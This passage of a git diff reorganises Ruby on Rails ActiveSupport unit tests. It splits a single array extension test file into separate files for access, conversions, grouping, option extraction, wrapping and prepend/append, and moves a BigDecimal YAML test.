new file mode 100644
index 0000000000..f14f64421d
--- /dev/null
+++ b/activesupport/test/core_ext/array/access_test.rb
@@ -0,0 +1,30 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+
+class AccessTest < ActiveSupport::TestCase
+ def test_from
+ assert_equal %w( a b c d ), %w( a b c d ).from(0)
+ assert_equal %w( c d ), %w( a b c d ).from(2)
+ assert_equal %w(), %w( a b c d ).from(10)
+ assert_equal %w( d e ), %w( a b c d e ).from(-2)
+ assert_equal %w(), %w( a b c d e ).from(-10)
+ end
+
+ def test_to
+ assert_equal %w( a ), %w( a b c d ).to(0)
+ assert_equal %w( a b c ), %w( a b c d ).to(2)
+ assert_equal %w( a b c d ), %w( a b c d ).to(10)
+ assert_equal %w( a b c ), %w( a b c d ).to(-2)
+ assert_equal %w(), %w( a b c ).to(-10)
+ end
+
+ def test_specific_accessor
+ array = (1..42).to_a
+
+ assert_equal array[1], array.second
+ assert_equal array[2], array.third
+ assert_equal array[3], array.fourth
+ assert_equal array[4], array.fifth
+ assert_equal array[41], array.forty_two
+ end
+end
diff --git a/activesupport/test/core_ext/array/conversions_test.rb b/activesupport/test/core_ext/array/conversions_test.rb
new file mode 100644
index 0000000000..577b889410
--- /dev/null
+++ b/activesupport/test/core_ext/array/conversions_test.rb
@@ -0,0 +1,197 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/big_decimal'
+require 'active_support/core_ext/hash'
+require 'active_support/core_ext/string'
+
+class ToSentenceTest < ActiveSupport::TestCase
+ def test_plain_array_to_sentence
+ assert_equal "", [].to_sentence
+ assert_equal "one", ['one'].to_sentence
+ assert_equal "one and two", ['one', 'two'].to_sentence
+ assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence
+ end
+
+ def test_to_sentence_with_words_connector
+ assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(words_connector: ' ')
+ assert_equal "one & two, and three", ['one', 'two', 'three'].to_sentence(words_connector: ' & ')
+ assert_equal "onetwo, and three", ['one', 'two', 'three'].to_sentence(words_connector: nil)
+ end
+
+ def test_to_sentence_with_last_word_connector
+ assert_equal "one, two, and also three", ['one', 'two', 'three'].to_sentence(last_word_connector: ', and also ')
+ assert_equal "one, twothree", ['one', 'two', 'three'].to_sentence(last_word_connector: nil)
+ assert_equal "one, two three", ['one', 'two', 'three'].to_sentence(last_word_connector: ' ')
+ assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(last_word_connector: ' and ')
+ end
+
+ def test_two_elements
+ assert_equal "one and two", ['one', 'two'].to_sentence
+ assert_equal "one two", ['one', 'two'].to_sentence(two_words_connector: ' ')
+ end
+
+ def test_one_element
+ assert_equal "one", ['one'].to_sentence
+ end
+
+ def test_one_element_not_same_object
+ elements = ["one"]
+ assert_not_equal elements[0].object_id, elements.to_sentence.object_id
+ end
+
+ def test_one_non_string_element
+ assert_equal '1', [1].to_sentence
+ end
+
+ def test_does_not_modify_given_hash
+ options = { words_connector: ' ' }
+ assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(options)
+ assert_equal({ words_connector: ' ' }, options)
+ end
+
+ def test_with_blank_elements
+ assert_equal ", one, , two, and three", [nil, 'one', '', 'two', 'three'].to_sentence
+ end
+
+ def test_with_invalid_options
+ exception = assert_raise ArgumentError do
+ ['one', 'two'].to_sentence(passing: 'invalid option')
+ end
+
+ assert_equal exception.message, "Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale"
+ end
+end
+
+class ToSTest < ActiveSupport::TestCase
+ class TestDB
+ @@counter = 0
+ def id
+ @@counter += 1
+ end
+ end
+
+ def test_to_s_db
+ collection = [TestDB.new, TestDB.new, TestDB.new]
+
+ assert_equal "null", [].to_s(:db)
+ assert_equal "1,2,3", collection.to_s(:db)
+ end
+end
+
+class ToXmlTest < ActiveSupport::TestCase
+ def test_to_xml_with_hash_elements
+ xml = [
+ { name: "David", age: 26, age_in_millis: 820497600000 },
+ { name: "Jason", age: 31, age_in_millis: BigDecimal.new('1.0') }
+ ].to_xml(skip_instruct: true, indent: 0)
+
+ assert_equal '<objects type="array"><object>', xml.first(30)
+ assert xml.include?(%(<age type="integer">26</age>)), xml
+ assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>)), xml
+ assert xml.include?(%(<name>David</name>)), xml
+ assert xml.include?(%(<age type="integer">31</age>)), xml
+ assert xml.include?(%(<age-in-millis type="decimal">1.0</age-in-millis>)), xml
+ assert xml.include?(%(<name>Jason</name>)), xml
+ end
+
+ def test_to_xml_with_non_hash_elements
+ xml = [1, 2, 3].to_xml(skip_instruct: true, indent: 0)
+
+ assert_equal '<fixnums type="array"><fixnum', xml.first(29)
+ assert xml.include?(%(<fixnum type="integer">2</fixnum>)), xml
+ end
+
+ def test_to_xml_with_non_hash_different_type_elements
+ xml = [1, 2.0, '3'].to_xml(skip_instruct: true, indent: 0)
+
+ assert_equal '<objects type="array"><object', xml.first(29)
+ assert xml.include?(%(<object type="integer">1</object>)), xml
+ assert xml.include?(%(<object type="float">2.0</object>)), xml
+ assert xml.include?(%(object>3</object>)), xml
+ end
+
+ def test_to_xml_with_dedicated_name
+ xml = [
+ { name: "David", age: 26, age_in_millis: 820497600000 }, { name: "Jason", age: 31 }
+ ].to_xml(skip_instruct: true, indent: 0, root: "people")
+
+ assert_equal '<people type="array"><person>', xml.first(29)
+ end
+
+ def test_to_xml_with_options
+ xml = [
+ { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+ ].to_xml(skip_instruct: true, skip_types: true, indent: 0)
+
+ assert_equal "<objects><object>", xml.first(17)
+ assert xml.include?(%(<street-address>Paulina</street-address>))
+ assert xml.include?(%(<name>David</name>))
+ assert xml.include?(%(<street-address>Evergreen</street-address>))
+ assert xml.include?(%(<name>Jason</name>))
+ end
+
+ def test_to_xml_with_indent_set
+ xml = [
+ { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+ ].to_xml(skip_instruct: true, skip_types: true, indent: 4)
+
+ assert_equal "<objects>\n <object>", xml.first(22)
+ assert xml.include?(%(\n <street-address>Paulina</street-address>))
+ assert xml.include?(%(\n <name>David</name>))
+ assert xml.include?(%(\n <street-address>Evergreen</street-address>))
+ assert xml.include?(%(\n <name>Jason</name>))
+ end
+
+ def test_to_xml_with_dasherize_false
+ xml = [
+ { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+ ].to_xml(skip_instruct: true, skip_types: true, indent: 0, dasherize: false)
+
+ assert_equal "<objects><object>", xml.first(17)
+ assert xml.include?(%(<street_address>Paulina</street_address>))
+ assert xml.include?(%(<street_address>Evergreen</street_address>))
+ end
+
+ def test_to_xml_with_dasherize_true
+ xml = [
+ { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+ ].to_xml(skip_instruct: true, skip_types: true, indent: 0, dasherize: true)
+
+ assert_equal "<objects><object>", xml.first(17)
+ assert xml.include?(%(<street-address>Paulina</street-address>))
+ assert xml.include?(%(<street-address>Evergreen</street-address>))
+ end
+
+ def test_to_xml_with_instruct
+ xml = [
+ { name: "David", age: 26, age_in_millis: 820497600000 },
+ { name: "Jason", age: 31, age_in_millis: BigDecimal.new('1.0') }
+ ].to_xml(skip_instruct: false, indent: 0)
+
+ assert_match(/^<\?xml [^>]*/, xml)
+ assert_equal 0, xml.rindex(/<\?xml /)
+ end
+
+ def test_to_xml_with_block
+ xml = [
+ { name: "David", age: 26, age_in_millis: 820497600000 },
+ { name: "Jason", age: 31, age_in_millis: BigDecimal.new('1.0') }
+ ].to_xml(skip_instruct: true, indent: 0) do |builder|
+ builder.count 2
+ end
+
+ assert xml.include?(%(<count>2</count>)), xml
+ end
+
+ def test_to_xml_with_empty
+ xml = [].to_xml
+ assert_match(/type="array"\/>/, xml)
+ end
+
+ def test_to_xml_dups_options
+ options = { skip_instruct: true }
+ [].to_xml(options)
+ # :builder, etc, shouldn't be added to options
+ assert_equal({ skip_instruct: true }, options)
+ end
+end
diff --git a/activesupport/test/core_ext/array/extract_options_test.rb b/activesupport/test/core_ext/array/extract_options_test.rb
new file mode 100644
index 0000000000..0481a507cf
--- /dev/null
+++ b/activesupport/test/core_ext/array/extract_options_test.rb
@@ -0,0 +1,45 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/hash'
+
+class ExtractOptionsTest < ActiveSupport::TestCase
+ class HashSubclass < Hash
+ end
+
+ class ExtractableHashSubclass < Hash
+ def extractable_options?
+ true
+ end
+ end
+
+ def test_extract_options
+ assert_equal({}, [].extract_options!)
+ assert_equal({}, [1].extract_options!)
+ assert_equal({ a: :b }, [{ a: :b }].extract_options!)
+ assert_equal({ a: :b }, [1, { a: :b }].extract_options!)
+ end
+
+ def test_extract_options_doesnt_extract_hash_subclasses
+ hash = HashSubclass.new
+ hash[:foo] = 1
+ array = [hash]
+ options = array.extract_options!
+ assert_equal({}, options)
+ assert_equal([hash], array)
+ end
+
+ def test_extract_options_extracts_extractable_subclass
+ hash = ExtractableHashSubclass.new
+ hash[:foo] = 1
+ array = [hash]
+ options = array.extract_options!
+ assert_equal({ foo: 1 }, options)
+ assert_equal([], array)
+ end
+
+ def test_extract_options_extracts_hash_with_indifferent_access
+ array = [{ foo: 1 }.with_indifferent_access]
+ options = array.extract_options!
+ assert_equal(1, options[:foo])
+ end
+end
diff --git a/activesupport/test/core_ext/array/grouping_test.rb b/activesupport/test/core_ext/array/grouping_test.rb
new file mode 100644
index 0000000000..2eb0f05141
--- /dev/null
+++ b/activesupport/test/core_ext/array/grouping_test.rb
@@ -0,0 +1,126 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+
+class GroupingTest < ActiveSupport::TestCase
+ def setup
+ Fixnum.send :private, :/ # test we avoid Integer#/ (redefined by mathn)
+ end
+
+ def teardown
+ Fixnum.send :public, :/
+ end
+
+ def test_in_groups_of_with_perfect_fit
+ groups = []
+ ('a'..'i').to_a.in_groups_of(3) do |group|
+ groups << group
+ end
+
+ assert_equal [%w(a b c), %w(d e f), %w(g h i)], groups
+ assert_equal [%w(a b c), %w(d e f), %w(g h i)], ('a'..'i').to_a.in_groups_of(3)
+ end
+
+ def test_in_groups_of_with_padding
+ groups = []
+ ('a'..'g').to_a.in_groups_of(3) do |group|
+ groups << group
+ end
+
+ assert_equal [%w(a b c), %w(d e f), ['g', nil, nil]], groups
+ end
+
+ def test_in_groups_of_pads_with_specified_values
+ groups = []
+
+ ('a'..'g').to_a.in_groups_of(3, 'foo') do |group|
+ groups << group
+ end
+
+ assert_equal [%w(a b c), %w(d e f), %w(g foo foo)], groups
+ end
+
+ def test_in_groups_of_without_padding
+ groups = []
+
+ ('a'..'g').to_a.in_groups_of(3, false) do |group|
+ groups << group
+ end
+
+ assert_equal [%w(a b c), %w(d e f), %w(g)], groups
+ end
+
+ def test_in_groups_returned_array_size
+ array = (1..7).to_a
+
+ 1.upto(array.size + 1) do |number|
+ assert_equal number, array.in_groups(number).size
+ end
+ end
+
+ def test_in_groups_with_empty_array
+ assert_equal [[], [], []], [].in_groups(3)
+ end
+
+ def test_in_groups_with_block
+ array = (1..9).to_a
+ groups = []
+
+ array.in_groups(3) do |group|
+ groups << group
+ end
+
+ assert_equal array.in_groups(3), groups
+ end
+
+ def test_in_groups_with_perfect_fit
+ assert_equal [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
+ (1..9).to_a.in_groups(3)
+ end
+
+ def test_in_groups_with_padding
+ array = (1..7).to_a
+
+ assert_equal [[1, 2, 3], [4, 5, nil], [6, 7, nil]],
+ array.in_groups(3)
+ assert_equal [[1, 2, 3], [4, 5, 'foo'], [6, 7, 'foo']],
+ array.in_groups(3, 'foo')
+ end
+
+ def test_in_groups_without_padding
+ assert_equal [[1, 2, 3], [4, 5], [6, 7]],
+ (1..7).to_a.in_groups(3, false)
+ end
+
+ def test_in_groups_invalid_argument
+ assert_raises(ArgumentError) { [].in_groups_of(0) }
+ assert_raises(ArgumentError) { [].in_groups_of(-1) }
+ assert_raises(ArgumentError) { [].in_groups_of(nil) }
+ end
+end
+
+class SplitTest < ActiveSupport::TestCase
+ def test_split_with_empty_array
+ assert_equal [[]], [].split(0)
+ end
+
+ def test_split_with_argument
+ a = [1, 2, 3, 4, 5]
+ assert_equal [[1, 2], [4, 5]], a.split(3)
+ assert_equal [[1, 2, 3, 4, 5]], a.split(0)
+ assert_equal [1, 2, 3, 4, 5], a
+ end
+
+ def test_split_with_block
+ a = (1..10).to_a
+ assert_equal [[1, 2], [4, 5], [7, 8], [10]], a.split { |i| i % 3 == 0 }
+ assert_equal [1, 2, 3, 4, 5, 6, 7, 8, 9 ,10], a
+ end
+
+ def test_split_with_edge_values
+ a = [1, 2, 3, 4, 5]
+ assert_equal [[], [2, 3, 4, 5]], a.split(1)
+ assert_equal [[1, 2, 3, 4], []], a.split(5)
+ assert_equal [[], [2, 3, 4], []], a.split { |i| i == 1 || i == 5 }
+ assert_equal [1, 2, 3, 4, 5], a
+ end
+end
diff --git a/activesupport/test/core_ext/array/prepend_append_test.rb b/activesupport/test/core_ext/array/prepend_append_test.rb
new file mode 100644
index 0000000000..762aa69b2b
--- /dev/null
+++ b/activesupport/test/core_ext/array/prepend_append_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+
+class PrependAppendTest < ActiveSupport::TestCase
+ def test_append
+ assert_equal [1, 2], [1].append(2)
+ end
+
+ def test_prepend
+ assert_equal [2, 1], [1].prepend(2)
+ end
+end
diff --git a/activesupport/test/core_ext/array/wrap_test.rb b/activesupport/test/core_ext/array/wrap_test.rb
new file mode 100644
index 0000000000..baf426506f
--- /dev/null
+++ b/activesupport/test/core_ext/array/wrap_test.rb
@@ -0,0 +1,77 @@
+require 'abstract_unit'
+require 'active_support/core_ext/array'
+
+class WrapTest < ActiveSupport::TestCase
+ class FakeCollection
+ def to_ary
+ ["foo", "bar"]
+ end
+ end
+
+ class Proxy
+ def initialize(target) @target = target end
+ def method_missing(*a) @target.send(*a) end
+ end
+
+ class DoubtfulToAry
+ def to_ary
+ :not_an_array
+ end
+ end
+
+ class NilToAry
+ def to_ary
+ nil
+ end
+ end
+
+ def test_array
+ ary = %w(foo bar)
+ assert_same ary, Array.wrap(ary)
+ end
+
+ def test_nil
+ assert_equal [], Array.wrap(nil)
+ end
+
+ def test_object
+ o = Object.new
+ assert_equal [o], Array.wrap(o)
+ end
+
+ def test_string
+ assert_equal ["foo"], Array.wrap("foo")
+ end
+
+ def test_string_with_newline
+ assert_equal ["foo\nbar"], Array.wrap("foo\nbar")
+ end
+
+ def test_object_with_to_ary
+ assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new)
+ end
+
+ def test_proxy_object
+ p = Proxy.new(Object.new)
+ assert_equal [p], Array.wrap(p)
+ end
+
+ def test_proxy_to_object_with_to_ary
+ p = Proxy.new(FakeCollection.new)
+ assert_equal [p], Array.wrap(p)
+ end
+
+ def test_struct
+ o = Struct.new(:foo).new(123)
+ assert_equal [o], Array.wrap(o)
+ end
+
+ def test_wrap_returns_wrapped_if_to_ary_returns_nil
+ o = NilToAry.new
+ assert_equal [o], Array.wrap(o)
+ end
+
+ def test_wrap_does_not_complain_if_to_ary_does_not_return_an_array
+ assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new)
+ end
+end
diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb
deleted file mode 100644
index efa7582ab0..0000000000
--- a/activesupport/test/core_ext/array_ext_test.rb
+++ /dev/null
@@ -1,471 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/array'
-require 'active_support/core_ext/big_decimal'
-require 'active_support/core_ext/object/conversions'
-
-require 'active_support/core_ext' # FIXME: pulling in all to_xml extensions
-require 'active_support/hash_with_indifferent_access'
-
-class ArrayExtAccessTests < ActiveSupport::TestCase
- def test_from
- assert_equal %w( a b c d ), %w( a b c d ).from(0)
- assert_equal %w( c d ), %w( a b c d ).from(2)
- assert_equal %w(), %w( a b c d ).from(10)
- end
-
- def test_to
- assert_equal %w( a ), %w( a b c d ).to(0)
- assert_equal %w( a b c ), %w( a b c d ).to(2)
- assert_equal %w( a b c d ), %w( a b c d ).to(10)
- end
-
- def test_second_through_tenth
- array = (1..42).to_a
-
- assert_equal array[1], array.second
- assert_equal array[2], array.third
- assert_equal array[3], array.fourth
- assert_equal array[4], array.fifth
- assert_equal array[41], array.forty_two
- end
-end
-
-class ArrayExtToParamTests < ActiveSupport::TestCase
- class ToParam < String
- def to_param
- "#{self}1"
- end
- end
-
- def test_string_array
- assert_equal '', %w().to_param
- assert_equal 'hello/world', %w(hello world).to_param
- assert_equal 'hello/10', %w(hello 10).to_param
- end
-
- def test_number_array
- assert_equal '10/20', [10, 20].to_param
- end
-
- def test_to_param_array
- assert_equal 'custom1/param1', [ToParam.new('custom'), ToParam.new('param')].to_param
- end
-end
-
-class ArrayExtToSentenceTests < ActiveSupport::TestCase
- def test_plain_array_to_sentence
- assert_equal "", [].to_sentence
- assert_equal "one", ['one'].to_sentence
- assert_equal "one and two", ['one', 'two'].to_sentence
- assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence
- end
-
- def test_to_sentence_with_words_connector
- assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' ')
- assert_equal "one & two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' & ')
- assert_equal "onetwo, and three", ['one', 'two', 'three'].to_sentence(:words_connector => nil)
- end
-
- def test_to_sentence_with_last_word_connector
- assert_equal "one, two, and also three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ', and also ')
- assert_equal "one, twothree", ['one', 'two', 'three'].to_sentence(:last_word_connector => nil)
- assert_equal "one, two three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' ')
- assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' and ')
- end
-
- def test_two_elements
- assert_equal "one and two", ['one', 'two'].to_sentence
- assert_equal "one two", ['one', 'two'].to_sentence(:two_words_connector => ' ')
- end
-
- def test_one_element
- assert_equal "one", ['one'].to_sentence
- end
-
- def test_one_element_not_same_object
- elements = ["one"]
- assert_not_equal elements[0].object_id, elements.to_sentence.object_id
- end
-
- def test_one_non_string_element
- assert_equal '1', [1].to_sentence
- end
-
- def test_does_not_modify_given_hash
- options = { words_connector: ' ' }
- assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(options)
- assert_equal({ words_connector: ' ' }, options)
- end
-end
-
-class ArrayExtToSTests < ActiveSupport::TestCase
- def test_to_s_db
- collection = [
- Class.new { def id() 1 end }.new,
- Class.new { def id() 2 end }.new,
- Class.new { def id() 3 end }.new
- ]
-
- assert_equal "null", [].to_s(:db)
- assert_equal "1,2,3", collection.to_s(:db)
- end
-end
-
-class ArrayExtGroupingTests < ActiveSupport::TestCase
- def setup
- Fixnum.send :private, :/ # test we avoid Integer#/ (redefined by mathn)
- end
-
- def teardown
- Fixnum.send :public, :/
- end
-
- def test_in_groups_of_with_perfect_fit
- groups = []
- ('a'..'i').to_a.in_groups_of(3) do |group|
- groups << group
- end
-
- assert_equal [%w(a b c), %w(d e f), %w(g h i)], groups
- assert_equal [%w(a b c), %w(d e f), %w(g h i)], ('a'..'i').to_a.in_groups_of(3)
- end
-
- def test_in_groups_of_with_padding
- groups = []
- ('a'..'g').to_a.in_groups_of(3) do |group|
- groups << group
- end
-
- assert_equal [%w(a b c), %w(d e f), ['g', nil, nil]], groups
- end
-
- def test_in_groups_of_pads_with_specified_values
- groups = []
-
- ('a'..'g').to_a.in_groups_of(3, 'foo') do |group|
- groups << group
- end
-
- assert_equal [%w(a b c), %w(d e f), ['g', 'foo', 'foo']], groups
- end
-
- def test_in_groups_of_without_padding
- groups = []
-
- ('a'..'g').to_a.in_groups_of(3, false) do |group|
- groups << group
- end
-
- assert_equal [%w(a b c), %w(d e f), ['g']], groups
- end
-
- def test_in_groups_returned_array_size
- array = (1..7).to_a
-
- 1.upto(array.size + 1) do |number|
- assert_equal number, array.in_groups(number).size
- end
- end
-
- def test_in_groups_with_empty_array
- assert_equal [[], [], []], [].in_groups(3)
- end
-
- def test_in_groups_with_block
- array = (1..9).to_a
- groups = []
-
- array.in_groups(3) do |group|
- groups << group
- end
-
- assert_equal array.in_groups(3), groups
- end
-
- def test_in_groups_with_perfect_fit
- assert_equal [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
- (1..9).to_a.in_groups(3)
- end
-
- def test_in_groups_with_padding
- array = (1..7).to_a
-
- assert_equal [[1, 2, 3], [4, 5, nil], [6, 7, nil]],
- array.in_groups(3)
- assert_equal [[1, 2, 3], [4, 5, 'foo'], [6, 7, 'foo']],
- array.in_groups(3, 'foo')
- end
-
- def test_in_groups_without_padding
- assert_equal [[1, 2, 3], [4, 5], [6, 7]],
- (1..7).to_a.in_groups(3, false)
- end
-end
-
-class ArraySplitTests < ActiveSupport::TestCase
- def test_split_with_empty_array
- assert_equal [[]], [].split(0)
- end
-
- def test_split_with_argument
- assert_equal [[1, 2], [4, 5]], [1, 2, 3, 4, 5].split(3)
- assert_equal [[1, 2, 3, 4, 5]], [1, 2, 3, 4, 5].split(0)
- end
-
- def test_split_with_block
- assert_equal [[1, 2], [4, 5], [7, 8], [10]], (1..10).to_a.split { |i| i % 3 == 0 }
- end
-
- def test_split_with_edge_values
- assert_equal [[], [2, 3, 4, 5]], [1, 2, 3, 4, 5].split(1)
- assert_equal [[1, 2, 3, 4], []], [1, 2, 3, 4, 5].split(5)
- assert_equal [[], [2, 3, 4], []], [1, 2, 3, 4, 5].split { |i| i == 1 || i == 5 }
- end
-end
-
-class ArrayToXmlTests < ActiveSupport::TestCase
- def test_to_xml
- xml = [
- { :name => "David", :age => 26, :age_in_millis => 820497600000 },
- { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
- ].to_xml(:skip_instruct => true, :indent => 0)
-
- assert_equal '<objects type="array"><object>', xml.first(30)
- assert xml.include?(%(<age type="integer">26</age>)), xml
- assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>)), xml
- assert xml.include?(%(<name>David</name>)), xml
- assert xml.include?(%(<age type="integer">31</age>)), xml
- assert xml.include?(%(<age-in-millis type="decimal">1.0</age-in-millis>)), xml
- assert xml.include?(%(<name>Jason</name>)), xml
- end
-
- def test_to_xml_with_dedicated_name
- xml = [
- { :name => "David", :age => 26, :age_in_millis => 820497600000 }, { :name => "Jason", :age => 31 }
- ].to_xml(:skip_instruct => true, :indent => 0, :root => "people")
-
- assert_equal '<people type="array"><person>', xml.first(29)
- end
-
- def test_to_xml_with_options
- xml = [
- { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
- ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0)
-
- assert_equal "<objects><object>", xml.first(17)
- assert xml.include?(%(<street-address>Paulina</street-address>))
- assert xml.include?(%(<name>David</name>))
- assert xml.include?(%(<street-address>Evergreen</street-address>))
- assert xml.include?(%(<name>Jason</name>))
- end
-
- def test_to_xml_with_dasherize_false
- xml = [
- { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
- ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0, :dasherize => false)
-
- assert_equal "<objects><object>", xml.first(17)
- assert xml.include?(%(<street_address>Paulina</street_address>))
- assert xml.include?(%(<street_address>Evergreen</street_address>))
- end
-
- def test_to_xml_with_dasherize_true
- xml = [
- { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
- ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0, :dasherize => true)
-
- assert_equal "<objects><object>", xml.first(17)
- assert xml.include?(%(<street-address>Paulina</street-address>))
- assert xml.include?(%(<street-address>Evergreen</street-address>))
- end
-
- def test_to_with_instruct
- xml = [
- { :name => "David", :age => 26, :age_in_millis => 820497600000 },
- { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
- ].to_xml(:skip_instruct => false, :indent => 0)
-
- assert_match(/^<\?xml [^>]*/, xml)
- assert_equal 0, xml.rindex(/<\?xml /)
- end
-
- def test_to_xml_with_block
- xml = [
- { :name => "David", :age => 26, :age_in_millis => 820497600000 },
- { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
- ].to_xml(:skip_instruct => true, :indent => 0) do |builder|
- builder.count 2
- end
-
- assert xml.include?(%(<count>2</count>)), xml
- end
-
- def test_to_xml_with_empty
- xml = [].to_xml
- assert_match(/type="array"\/>/, xml)
- end
-
- def test_to_xml_dups_options
- options = {:skip_instruct => true}
- [].to_xml(options)
- # :builder, etc, shouldn't be added to options
- assert_equal({:skip_instruct => true}, options)
- end
-end
-
-class ArrayExtractOptionsTests < ActiveSupport::TestCase
- class HashSubclass < Hash
- end
-
- class ExtractableHashSubclass < Hash
- def extractable_options?
- true
- end
- end
-
- def test_extract_options
- assert_equal({}, [].extract_options!)
- assert_equal({}, [1].extract_options!)
- assert_equal({:a=>:b}, [{:a=>:b}].extract_options!)
- assert_equal({:a=>:b}, [1, {:a=>:b}].extract_options!)
- end
-
- def test_extract_options_doesnt_extract_hash_subclasses
- hash = HashSubclass.new
- hash[:foo] = 1
- array = [hash]
- options = array.extract_options!
- assert_equal({}, options)
- assert_equal [hash], array
- end
-
- def test_extract_options_extracts_extractable_subclass
- hash = ExtractableHashSubclass.new
- hash[:foo] = 1
- array = [hash]
- options = array.extract_options!
- assert_equal({:foo => 1}, options)
- assert_equal [], array
- end
-
- def test_extract_options_extracts_hwia
- hash = [{:foo => 1}.with_indifferent_access]
- options = hash.extract_options!
- assert_equal 1, options[:foo]
- end
-end
-
-class ArrayUniqByTests < ActiveSupport::TestCase
- def test_uniq_by
- ActiveSupport::Deprecation.silence do
- assert_equal [1,2], [1,2,3,4].uniq_by { |i| i.odd? }
- assert_equal [1,2], [1,2,3,4].uniq_by(&:even?)
- assert_equal((-5..0).to_a, (-5..5).to_a.uniq_by{ |i| i**2 })
- end
- end
-
- def test_uniq_by!
- a = [1,2,3,4]
- ActiveSupport::Deprecation.silence do
- a.uniq_by! { |i| i.odd? }
- end
- assert_equal [1,2], a
-
- a = [1,2,3,4]
- ActiveSupport::Deprecation.silence do
- a.uniq_by! { |i| i.even? }
- end
- assert_equal [1,2], a
-
- a = (-5..5).to_a
- ActiveSupport::Deprecation.silence do
- a.uniq_by! { |i| i**2 }
- end
- assert_equal((-5..0).to_a, a)
- end
-end
-
-class ArrayWrapperTests < ActiveSupport::TestCase
- class FakeCollection
- def to_ary
- ["foo", "bar"]
- end
- end
-
- class Proxy
- def initialize(target) @target = target end
- def method_missing(*a) @target.send(*a) end
- end
-
- class DoubtfulToAry
- def to_ary
- :not_an_array
- end
- end
-
- class NilToAry
- def to_ary
- nil
- end
- end
-
- def test_array
- ary = %w(foo bar)
- assert_same ary, Array.wrap(ary)
- end
-
- def test_nil
- assert_equal [], Array.wrap(nil)
- end
-
- def test_object
- o = Object.new
- assert_equal [o], Array.wrap(o)
- end
-
- def test_string
- assert_equal ["foo"], Array.wrap("foo")
- end
-
- def test_string_with_newline
- assert_equal ["foo\nbar"], Array.wrap("foo\nbar")
- end
-
- def test_object_with_to_ary
- assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new)
- end
-
- def test_proxy_object
- p = Proxy.new(Object.new)
- assert_equal [p], Array.wrap(p)
- end
-
- def test_proxy_to_object_with_to_ary
- p = Proxy.new(FakeCollection.new)
- assert_equal [p], Array.wrap(p)
- end
-
- def test_struct
- o = Struct.new(:foo).new(123)
- assert_equal [o], Array.wrap(o)
- end
-
- def test_wrap_returns_wrapped_if_to_ary_returns_nil
- o = NilToAry.new
- assert_equal [o], Array.wrap(o)
- end
-
- def test_wrap_does_not_complain_if_to_ary_does_not_return_an_array
- assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new)
- end
-end
-
-class ArrayPrependAppendTest < ActiveSupport::TestCase
- def test_append
- assert_equal [1, 2], [1].append(2)
- end
-
- def test_prepend
- assert_equal [2, 1], [1].prepend(2)
- end
-end
diff --git a/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb b/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb
new file mode 100644
index 0000000000..e634679d20
--- /dev/null
+++ b/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb
@@ -0,0 +1,11 @@
+require 'abstract_unit'
+
+class BigDecimalYamlConversionsTest < ActiveSupport::TestCase
+ def test_to_yaml
+ assert_deprecated { require 'active_support/core_ext/big_decimal/yaml_conversions' }
+ assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
+ assert_match("--- .Inf\n", BigDecimal.new('Infinity').to_yaml)
+ assert_match("--- .NaN\n", BigDecimal.new('NaN').to_yaml)
+ assert_match("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
+ end
+end
diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb
index a5987044b9..423a3f2e9d 100644
--- a/activesupport/test/core_ext/bigdecimal_test.rb
+++ b/activesupport/test/core_ext/bigdecimal_test.rb
@@ -1,20 +1,7 @@
require 'abstract_unit'
-require 'bigdecimal'
require 'active_support/core_ext/big_decimal'
class BigDecimalTest < ActiveSupport::TestCase
- def test_to_yaml
- assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
- assert_match("--- .Inf\n", BigDecimal.new('Infinity').to_yaml)
